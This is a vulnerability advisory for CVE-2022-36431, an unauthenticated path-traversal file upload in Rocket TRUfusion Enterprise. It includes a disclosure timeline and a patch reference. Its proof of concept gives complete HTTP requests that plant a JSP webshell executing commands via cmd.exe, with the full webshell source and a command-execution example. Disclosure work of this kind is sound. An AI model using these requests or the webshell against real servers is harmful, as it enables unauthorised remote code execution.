SYNACKTIV
DIGITAL SECURITY

Unrestricted file upload in Rocket TRUfusion Enterprise <= 7.9.6.0

CVE-2022-36431

Security advisory

2022-11-21

Mehdi Elyassa
Kevin Tellier

Vulnerabilities description

Presentation of Rocket TRUfusion Enterprise

"Rocket TRUfusion Enterprise automates repetitive file-exchange activities between your company and customers, suppliers, and partners. A simple process automates every step required for CAD and PLM data exchange[...]It's easy to configure TRUfusion Enterprise with business rules for handling specific file types, as well as meeting customer or partner mandates. TRUfusion Enterprise delivers product design data through a secure web portal or Odette File Transfer Protocol (OFTP), an automotive industry standard."[1]

The issue

During a security assessment for a customer, Synacktiv consultants found a severe vulnerability in a file upload servlet, leading to a remote code execution.

Indeed, insufficient sanitization of the submitted filename value allows an attacker to write arbitrary files on the filesystem. Doing so, it is possible to upload a *JSP* webshell in the *Tomcat*'s web root directory and then execute arbitrary commands on the underlying server.

Affected versions

The versions 7.9.5.0 and 7.9.6.0 of *TRUfusion Enterprise WebPortal* were exploited without authentication.

The vulnerability was addressed in *TRUfusion Enterprise* 7.9.6.1 released on August 2022.

The issue is tracked as *TRF-8659* in the published release notes document at https://docs.rocketsoftware.com/bundle/TRUfusionEnterprise_ReleaseNotes_V7.9.6.1/resource/TRUfusionEnterprise_ReleaseNotes_V7.9.6.1.pdf

Timeline

Date	Action
2022-06-22	Vulnerability identified on version 7.9.5.0
2022-06-29	Advisory sent to *support@rocketsoftware.com*
2022-06-29	Reply from support recommending to update the software to the latest version
2022-07-08	Vulnerability confirmed on version 7.9.6.0
2022-07-08	Updated advisory sent to *support@rocketsoftware.com*
2022-07-19	Meeting with *Rocket Software* to provide insight into the issue
2022-07-25	Assigned CVE-2022-36431
2022-08-24	*Rocket Software* patches the issue in version 7.9.6.1
2022-11-21	Public disclosure

1 https://www.rocketsoftware.com/sites/default/files/resource_files/TRUf_EnterpriseDatasheet_v3.pdf

Technical description and proof-of-concept

Initial vulnerability discovery

Searching for vulnerabilities on a *TRUfusion Enterprise* instance, Synacktiv consultants noticed that a specially crafted POST request on the */UpDwModule/ResumableUploadServlet* endpoint resulted in a file not found exception:

```
POST /UpDwModule/ResumableUploadServlet?
token=IGNORED_VALUE&token_id=13&resumableChunkNumber=1&resumableChunkSize=10240&resumableCu
rrentChunkSize=10240&resumableTotalSize=10240&resumableType=&resumableIdentifier=123456RAND
OMVALUE&resumableFilename=../../../NON_EXISTING/
NON_EXISTING&resumableRelativePath=IGNORED_VALUE&resumableTotalChunks=1 HTTP/1.1
Host: portal.trufusion.local
User-Agent: UA
Content-Type: application/octet-stream
Content-Length: 3

123

---

HTTP/1.1 500
[...]

<b>Exception</b></p><pre>java.io.FileNotFoundException: C:\Rocket\trufusionPortal\tmp\
IGNORED_VALUE~..\..\..\NON_EXISTING\NON_EXISTING.temp (Das System kann den angegebenen Pfad
nicht finden)
      java.base&#47;java.io.RandomAccessFile.open0(Native Method)
      java.base&#47;java.io.RandomAccessFile.open(RandomAccessFile.java:344)
      java.base&#47;java.io.RandomAccessFile.&lt;init&gt;(RandomAccessFile.java:259)
      java.base&#47;java.io.RandomAccessFile.&lt;init&gt;(RandomAccessFile.java:213)
      java.base&#47;java.io.RandomAccessFile.&lt;init&gt;(RandomAccessFile.java:127)

com.procaess.ddxv6.ddxPortalV6.ddxV6UpDw.upload.ResumableUploadServlet.doPost(ResumableUplo
adServlet.java:33)
      javax.servlet.http.HttpServlet.service(HttpServlet.java:681)
      javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
      org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
```

A lack of sanitization of the *resumableFilename* parameter values permits *../* sequences, thus directory traversal attacks are possible. Therefore, an attacker has total control on the destination path, file extension and file content. Moreover, authentication is not required to interact with the affected servlet.

To effectively trigger the file upload action, the *resumableIdentifier* parameter value should be unique in each request.

Proof of concept of the code execution

To execute arbitrary commands on the system, it is possible to upload a *JSP* webshell on the web server. The version 7.9.5.0 targeted initially by Synacktiv experts was running on a *Tomcat* version 9.0. Its web root was identified as *C:\Rocket\trufusionPortal\rocket\Tomcat 9.0\webapps\trufusionPortal* . This directory path may differ depending on the web server's version and the software's installation folder.

The following request may be used to upload the webshell in *jsp/ws.jsp*. The *resumableIdentifier* parameter must be an unused identifier.

```
POST /UpDwModule/ResumableUploadServlet?
token=IGNORED&token_id=6&resumableChunkNumber=1&resumableChunkSize=1048576&resumableCurrent
ChunkSize=10240&resumableTotalSize=10240&resumableType=&resumableIdentifier=MA6wUUrfj7HG&re
sumableFilename=IGNORED/../../../../rocket/tomcat+9.0/webapps/trufusionPortal/jsp/
ws.jsp&resumableRelativePath=IGNORED&resumableTotalChunks=1 HTTP/1.1
Host: portal.trufusion.local
User-Agent: UA
Content-Type: application/octet-stream
Content-Length: 677

<FORM METHOD=GET ACTION='ws.jsp'>
<INPUT name='cad' type=text>
<INPUT type=submit value='list'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cad = request.getParameter("cad");
   String output = "";
   if(cad != null) {
      String s = null;
      try {
         Runtime rt = Runtime.getRuntime();
              Process res = rt.exec("cmd" + ".exe " + "/C " + cad);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(res.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s + "\n";
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

---

HTTP/1.1 200
[...]

All finished.
```

Regarding exploiting the latest version **7.9.6.0**, the previous request works by setting the *resumableChunkNumber* parameter value to 2.

```
POST /UpDwModule/ResumableUploadServlet?
token=IGNORED&token_id=6&resumableChunkNumber=2&resumableChunkSize=1048576&resumableCurrent
ChunkSize=10240&resumableTotalSize=10240&resumableType=&resumableIdentifier=MA6wUUrfj7HG&re
sumableFilename=IGNORED/../../../../rocket/tomcat+9.0/webapps/trufusionPortal/jsp/
ws.jsp&resumableRelativePath=IGNORED&resumableTotalChunks=1 HTTP/1.1
Host: portal.trufusion.local
User-Agent: UA
Content-Type: application/octet-stream
Content-Length: 677

<FORM METHOD=GET ACTION='ws.jsp'>
<INPUT name='cad' type=text>
<INPUT type=submit value='list'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cad = request.getParameter("cad");
   String output = "";
   if(cad != null) {
      String s = null;
      try {
         Runtime rt = Runtime.getRuntime();
              Process res = rt.exec("cmd" + ".exe " + "/C " + cad);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(res.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s + "\n";
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

---

HTTP/1.1 200
[...]

All finished.
```

Arbitrary system commands can then be executed as the service identity running the web server:

```
POST /trufusionPortal/jsp/ws.jsp HTTP/1.1
Host: portal.trufusion.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

cad=whoami

---
HTTP/1.1 200
[...]

<FORM METHOD=GET ACTION='ws.jsp'>
<INPUT name='cad' type=text>
<INPUT type=submit value='list'>
</FORM>
<pre>
NT AUTHORITY\LocalService
</pre>
```

Impact

A successful exploitation of this vulnerability allows unauthenticated attacker to execute arbitrary commands on the server and access the underlying filesytem.

As the service identity will be used to interact with the system, the impact mostly depends on the privileges affected to the service executing the web server.